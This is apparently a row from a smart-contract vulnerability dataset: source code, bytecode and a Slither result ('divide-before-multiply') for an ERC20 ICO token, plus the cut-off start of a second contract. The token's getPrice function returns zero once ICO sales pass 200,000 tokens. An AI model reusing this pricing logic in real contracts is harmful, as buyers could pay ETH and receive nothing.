address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xadce15ae012c8a9dd9cdeffb60885750a6f4b3a8
|
pragma solidity =0.4.25;
contract SafeMath {
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b)pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b)pure internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token is SafeMath {
// Functions:
/// @return total amount of tokens
function totalSupply()public constant returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner)public constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
function transfer(address _to, uint256 _value)public returns(bool);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value)public returns(bool);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value)public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)public constant returns (uint256 remaining);
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public supply = 0;
// Functions:
function transfer(address _to, uint256 _value)public returns(bool) {
require(balances[msg.sender] >= _value,"INSUFFICIENT BALANCE");
require(balances[_to] + _value > balances[_to],"CANT TRANSFER");
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)public returns(bool){
require(balances[_from] >= _value,"INSUFFICIENT BALANCE");
require(allowed[_from][msg.sender] >= _value,"CANT TRANSFER");
require(balances[_to] + _value > balances[_to],"CANT TRANSFER");
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
emit Transfer(_from, _to, _value);
return true;
}
function totalSupply()public constant returns (uint256) {
return supply;
}
function balanceOf(address _owner)public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value)public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"CANT ALLOW");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
contract GrandMarcheToken is StdToken
{
/// Fields:
string public constant name = "Grand Marche Token";
string public constant symbol = "GMT";
uint public constant decimals = 18;
uint public constant TOTAL_SUPPLY = 1000000 * (1 ether / 1 wei);
uint public constant AIRDROP_SHARE = 50000 * (1 ether / 1 wei);
uint public constant PRESALE_PRICE = 250; // per 1 Ether
uint public constant PRESALE_MAX_ETH = 400;
uint public constant PRESALE_TOKEN_SUPPLY_LIMIT = PRESALE_PRICE * PRESALE_MAX_ETH * (1 ether / 1 wei);
uint public constant ICO_PRICE = 100; // per 1 Ether
// 1bln - this includes presale tokens
uint public constant TOTAL_SOLD_TOKEN_SUPPLY_LIMIT = 300000 * (1 ether / 1 wei);
enum State{
Init,
Paused,
PresaleRunning,
PresaleFinished,
ICORunning,
ICOFinished
}
State public currentState = State.Init;
bool public enableTransfers = false;
address public AI = 0;
address public airdrop = 0;
address public privateSales = 0;
address public teamTokenBonus = 0;
// Gathered funds can be withdrawn only to escrow's address.
address public escrow = 0;
// Token manager has exclusive priveleges to call administrative
// functions on this contract.
address public tokenManager = 0;
uint public CREATE_CONTRACT = 0;
uint public presaleSoldTokens = 0;
uint public icoSoldTokens = 0;
uint public totalSoldTokens = 0;
bool public ai_balout = true;
bool public privateSales_balout = true;
bool public teamTokenBonus_balout = true;
/// Modifiers:
modifier onlyTokenManager()
{
require(msg.sender==tokenManager,"NOT MANAGER");
_;
}
modifier onlyInState(State state)
{
require(state==currentState,"STATE WRONG");
_;
}
/// Events:
event unlock(address indexed owner, uint value);
event LogBuy(address indexed owner, uint value);
/// Functions:
/// @dev Constructor
/// @param _tokenManager Token manager address.
constructor (address _tokenManager, address _teamTokenBonus, address _escrow, address _AI, address _privateSales, address _airdrop)public
{
supply = TOTAL_SUPPLY;
tokenManager = _tokenManager;
teamTokenBonus = _teamTokenBonus;
escrow = _escrow;
AI = _AI;
privateSales = _privateSales;
airdrop = _airdrop;
uint for_airdrop = AIRDROP_SHARE;
balances[_airdrop] += for_airdrop;
totalSoldTokens+= for_airdrop;
CREATE_CONTRACT = uint40(block.timestamp);
assert(PRESALE_TOKEN_SUPPLY_LIMIT==100000 * (1 ether / 1 wei));
assert(TOTAL_SOLD_TOKEN_SUPPLY_LIMIT==300000 * (1 ether / 1 wei));
}
function buyTokens() public payable
{
require(currentState==State.PresaleRunning || currentState==State.ICORunning,"CANT BUY");
if(currentState==State.PresaleRunning){
return buyTokensPresale();
}else{
return buyTokensICO();
}
}
function userbalance(address _addrress)public view returns(uint256){
return balances[_addrress];
}
function buyTokensPresale() public payable onlyInState(State.PresaleRunning)
{
// min - 0.5 ETH
require(msg.value >= 5e17,"Min 0.5 ETH");
uint newTokens = msg.value * PRESALE_PRICE;
require(presaleSoldTokens + newTokens <= PRESALE_TOKEN_SUPPLY_LIMIT,"PRESALE REACHED");
balances[msg.sender] += newTokens;
presaleSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
emit LogBuy(msg.sender, newTokens);
}
function buyTokensICO() public payable onlyInState(State.ICORunning)
{
// min - 0.1 ETH
require(msg.value >= 1e17,"Min 0.1 ETH");
uint newTokens = msg.value * getPrice();
require(totalSoldTokens + newTokens <= TOTAL_SOLD_TOKEN_SUPPLY_LIMIT,"Total Sold Token REACHED");
balances[msg.sender] += newTokens;
icoSoldTokens+= newTokens;
totalSoldTokens+= newTokens;
emit LogBuy(msg.sender, newTokens);
}
function getPrice()public constant returns(uint)
{
if(currentState==State.ICORunning){
if(icoSoldTokens<(200000 * (1 ether / 1 wei))){
return ICO_PRICE;
}
}else{
return PRESALE_PRICE;
}
}
function setState(State _nextState) public payable onlyTokenManager
{
//setState() method call shouldn't be entertained after ICOFinished
require(currentState != State.ICOFinished,"ICO FINISHED");
currentState = _nextState;
// enable/disable transfers
//enable transfers only after ICOFinished, disable otherwise
enableTransfers = (currentState==State.ICOFinished);
}
function withdrawEther() public onlyTokenManager
{
if(address(this).balance > 0)
{
escrow.transfer(address(this).balance);
}
}
function request_unlock()public payable{
if(msg.sender==AI){
require(uint40(block.timestamp) >= CREATE_CONTRACT +( 730 * 86400),"LOCKED"); //lock for 24 month
require(ai_balout==true,"Token has been sent");
uint tokenai = 400000 * (1 ether / 1 wei);
balances[msg.sender] += tokenai;
totalSoldTokens+= tokenai;
ai_balout=false;
emit unlock(msg.sender,tokenai);
}else if(msg.sender==teamTokenBonus){
require(uint40(block.timestamp) >= CREATE_CONTRACT +( 365 * 86400),"LOCKED"); //lock for 12 month
require(teamTokenBonus_balout==true,"Token has been sent");
uint tokenteam = 150000 * (1 ether / 1 wei);
balances[msg.sender] += tokenteam;
totalSoldTokens+= tokenteam;
teamTokenBonus_balout=false;
emit unlock(msg.sender,tokenteam);
}else if(msg.sender==privateSales){
require(uint40(block.timestamp) >= CREATE_CONTRACT +( 182 * 86400),"LOCKED"); //lock for 6 month
require(privateSales_balout==true,"Token has been sent");
uint tokenprivate = 100000 * (1 ether / 1 wei);
balances[msg.sender] += tokenprivate;
privateSales_balout=false;
totalSoldTokens+= tokenprivate;
emit unlock(msg.sender,tokenprivate);
}
}
/// Overrides:
function transfer(address _to, uint256 _value)public returns(bool){
require(enableTransfers,"TRANSFER DISABLED");
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value)public returns(bool){
require(enableTransfers,"TRANSFER DISABLED");
return super.transferFrom(_from,_to,_value);
}
function approve(address _spender, uint256 _value)public returns (bool) {
require(enableTransfers,"TRANSFER DISABLED");
return super.approve(_spender,_value);
}
/// Setters/getters
function setTokenManager(address _mgr) public onlyTokenManager
{
tokenManager = _mgr;
}
// Default fallback function
function()public payable
{
buyTokens();
}
}
|
0x6080604052600436106101f8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806215093114610202578063047fc9aa1461023157806306fdde031461025c578063085c1cee146102ec578063095ea7b3146103435780630acdd69f146103a85780630c3f6acf146103d35780631350acbd1461040c57806318160ddd146104375780631d5118791461046257806323b872dd1461046c578063269f96c9146104f15780632a709b141461051c578063313ce567146105735780633884d6351461059e57806343d42780146105f5578063510445231461062057806356de96db1461067757806362dc6e211461069a57806370a08231146106c55780637362377b1461071c5780637cb2b79c14610733578063902d55a51461077657806395d89b41146107a157806398d5fdca146108315780639cc0b7f81461085c5780639f174c6f146108b3578063a715bf33146108de578063a9059cbb14610909578063af35c6c71461096e578063c23d14b61461099d578063c520b7c2146109a7578063d0febe4c146109d6578063d7b91bcc146109e0578063d7ca9949146109ea578063dd62ed3e14610a15578063de5a57ec14610a8c578063e2fdcc1714610ae3578063e92e5f0314610b3a578063ec90de7414610b65578063f83eddfb14610b90575b610200610bbf565b005b34801561020e57600080fd5b50610217610cd2565b604051808215151515815260200191505060405180910390f35b34801561023d57600080fd5b50610246610ce5565b6040518082815260200191505060405180910390f35b34801561026857600080fd5b50610271610ceb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f857600080fd5b50610301610d24565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034f57600080fd5b5061038e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d4a565b604051808215151515815260200191505060405180910390f35b3480156103b457600080fd5b506103bd610de2565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e8610df0565b604051808260058111156103f857fe5b60ff16815260200191505060405180910390f35b34801561041857600080fd5b50610421610e03565b6040518082815260200191505060405180910390f35b34801561044357600080fd5b5061044c610e09565b6040518082815260200191505060405180910390f35b61046a610e13565b005b34801561047857600080fd5b506104d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611082565b604051808215151515815260200191505060405180910390f35b3480156104fd57600080fd5b5061050661111c565b6040518082815260200191505060405180910390f35b34801561052857600080fd5b50610531611122565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057f57600080fd5b50610588611148565b6040518082815260200191505060405180910390f35b3480156105aa57600080fd5b506105b361114d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060157600080fd5b5061060a611173565b6040518082815260200191505060405180910390f35b34801561062c57600080fd5b50610635611179565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610698600480360381019080803560ff16906020019092919050505061119f565b005b3480156106a657600080fd5b506106af611368565b6040518082815260200191505060405180910390f35b3480156106d157600080fd5b50610706600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061136d565b6040518082815260200191505060405180910390f35b34801561072857600080fd5b506107316113b5565b005b34801561073f57600080fd5b50610774600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061151d565b005b34801561078257600080fd5b5061078b611626565b6040518082815260200191505060405180910390f35b3480156107ad57600080fd5b506107b6611634565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f65780820151818401526020810190506107db565b50505050905090810190601f1680156108235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561083d57600080fd5b5061084661166d565b6040518082815260200191505060405180910390f35b34801561086857600080fd5b506108716116cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108bf57600080fd5b506108c86116f2565b6040518082815260200191505060405180910390f35b3480156108ea57600080fd5b506108f3611700565b6040518082815260200191505060405180910390f35b34801561091557600080fd5b50610954600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611705565b604051808215151515815260200191505060405180910390f35b34801561097a57600080fd5b5061098361179d565b604051808215151515815260200191505060405180910390f35b6109a56117b0565b005b3480156109b357600080fd5b506109bc611e74565b604051808215151515815260200191505060405180910390f35b6109de610bbf565b005b6109e8611e87565b005b3480156109f657600080fd5b506109ff6120f7565b6040518082815260200191505060405180910390f35b348015610a2157600080fd5b50610a76600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120fd565b6040518082815260200191505060405180910390f35b348015610a9857600080fd5b50610acd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612184565b6040518082815260200191505060405180910390f35b348015610aef57600080fd5b50610af86121cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4657600080fd5b50610b4f6121f2565b6040518082815260200191505060405180910390f35b348015610b7157600080fd5b50610b7a612205565b6040518082815260200191505060405180910390f35b348015610b9c57600080fd5b50610ba561220b565b604051808215151515815260200191505060405180910390f35b60026005811115610bcc57fe5b600360009054906101000a900460ff166005811115610be757fe5b1480610c18575060046005811115610bfb57fe5b600360009054906101000a900460ff166005811115610c1657fe5b145b1515610c8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f43414e542042555900000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60026005811115610c9957fe5b600360009054906101000a900460ff166005811115610cb457fe5b1415610cc757610cc2610e13565b610cd0565b610ccf611e87565b5b565b600d60029054906101000a900460ff1681565b60025481565b6040805190810160405280601281526020017f4772616e64204d617263686520546f6b656e000000000000000000000000000081525081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360019054906101000a900460ff161515610dd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5452414e534645522044495341424c454400000000000000000000000000000081525060200191505060405180910390fd5b610dda838361221e565b905092915050565b693f870857a3e0e380000081565b600360009054906101000a900460ff1681565b61019081565b6000600254905090565b60006002600360009054906101000a900460ff166005811115610e3257fe5b816005811115610e3e57fe5b141515610eb3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f53544154452057524f4e4700000000000000000000000000000000000000000081525060200191505060405180910390fd5b6706f05b59d3b200003410151515610f33576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4d696e20302e352045544800000000000000000000000000000000000000000081525060200191505060405180910390fd5b60fa34029150670de0b6b3a764000061019060fa020282600a540111151515610fc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f50524553414c452052454143484544000000000000000000000000000000000081525060200191505060405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600a6000828254019250508190555081600c600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f4f79409f494e81c38036d80aa8a6507c2cb08d90bfb2fead5519447646b3497e836040518082815260200191505060405180910390a25050565b6000600360019054906101000a900460ff161515611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5452414e534645522044495341424c454400000000000000000000000000000081525060200191505060405180910390fd5b61111384848461240e565b90509392505050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e4f54204d414e4147455200000000000000000000000000000000000000000081525060200191505060405180910390fd5b60058081111561127057fe5b600360009054906101000a900460ff16600581111561128b57fe5b14151515611301576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f49434f2046494e4953484544000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548160ff0219169083600581111561131f57fe5b021790555060058081111561133057fe5b600360009054906101000a900460ff16600581111561134b57fe5b14600360016101000a81548160ff02191690831515021790555050565b60fa81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e4f54204d414e4147455200000000000000000000000000000000000000000081525060200191505060405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff1631111561151b57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611519573d6000803e3d6000fd5b505b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e4f54204d414e4147455200000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b69d3c21bcecceda100000081565b6040805190810160405280600381526020017f474d54000000000000000000000000000000000000000000000000000000000081525081565b60006004600581111561167c57fe5b600360009054906101000a900460ff16600581111561169757fe5b14156116bf57692a5a058fc295ed000000600b5410156116ba57606490506116c9565b6116c8565b60fa90506116c9565b5b90565b600360029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b690a968163f0a57b40000081565b606481565b6000600360019054906101000a900460ff16151561178b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5452414e534645522044495341424c454400000000000000000000000000000081525060200191505060405180910390fd5b6117958383612939565b905092915050565b600360019054906101000a900460ff1681565b6000806000600360029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156119f4576303c26700600954014264ffffffffff1610151515611892576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4c4f434b4544000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600d60009054906101000a900460ff16151514151561191d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546f6b656e20686173206265656e2073656e740000000000000000000000000081525060200191505060405180910390fd5b6954b40b1f852bda0000009250826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600c600082825401925050819055506000600d60006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f7eee288d96e16732b30eaad358f8d56ea6f818be95e3d8b56668dbed67d7b7a8846040518082815260200191505060405180910390a2611e6f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611c33576301e13380600954014264ffffffffff1610151515611ad1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4c4f434b4544000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600d60029054906101000a900460ff161515141515611b5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546f6b656e20686173206265656e2073656e740000000000000000000000000081525060200191505060405180910390fd5b691fc3842bd1f071c000009150816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600c600082825401925050819055506000600d60026101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f7eee288d96e16732b30eaad358f8d56ea6f818be95e3d8b56668dbed67d7b7a8836040518082815260200191505060405180910390a2611e6e565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611e6d5762eff100600954014264ffffffffff1610151515611d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4c4f434b4544000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600d60019054906101000a900460ff161515141515611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546f6b656e20686173206265656e2073656e740000000000000000000000000081525060200191505060405180910390fd5b69152d02c7e14af68000009050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000600d60016101000a81548160ff02191690831515021790555080600c600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f7eee288d96e16732b30eaad358f8d56ea6f818be95e3d8b56668dbed67d7b7a8826040518082815260200191505060405180910390a25b5b5b505050565b600d60009054906101000a900460ff1681565b60006004600360009054906101000a900460ff166005811115611ea657fe5b816005811115611eb257fe5b141515611f27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f53544154452057524f4e4700000000000000000000000000000000000000000081525060200191505060405180910390fd5b67016345785d8a00003410151515611fa7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4d696e20302e312045544800000000000000000000000000000000000000000081525060200191505060405180910390fd5b611faf61166d565b34029150693f870857a3e0e380000082600c540111151515612039576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f546f74616c20536f6c6420546f6b656e2052454143484544000000000000000081525060200191505060405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600b6000828254019250508190555081600c600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f4f79409f494e81c38036d80aa8a6507c2cb08d90bfb2fead5519447646b3497e836040518082815260200191505060405180910390a25050565b600c5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b670de0b6b3a764000061019060fa020281565b60095481565b600d60019054906101000a900460ff1681565b6000808214806122aa57506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f43414e5420414c4c4f570000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156124c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f494e53554646494349454e542042414c414e434500000000000000000000000081525060200191505060405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156125ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f43414e54205452414e534645520000000000000000000000000000000000000081525060200191505060405180910390fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156126af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f43414e54205452414e534645520000000000000000000000000000000000000081525060200191505060405180910390fd5b6126f76000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c69565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c93565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612849600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c93565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156129f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f494e53554646494349454e542042414c414e434500000000000000000000000081525060200191505060405180910390fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515612ae6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f43414e54205452414e534645520000000000000000000000000000000000000081525060200191505060405180910390fd5b612b2e6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c93565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bb86000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c69565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110158015612c815750828110155b1515612c8957fe5b8091505092915050565b6000828211151515612ca157fe5b8183039050929150505600a165627a7a7230582012af00f367f16f046256e0d5c5085ad294a7ccd0bb99518dadf958f13278bb040029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,200 |
0x57ca6958d752667cfd84dcd78b863da32610050c
|
/**
*Submitted for verification at Etherscan.io on 2021-10-08
*/
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.5.16;
// File: contracts/interfaces/IERC20.sol
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
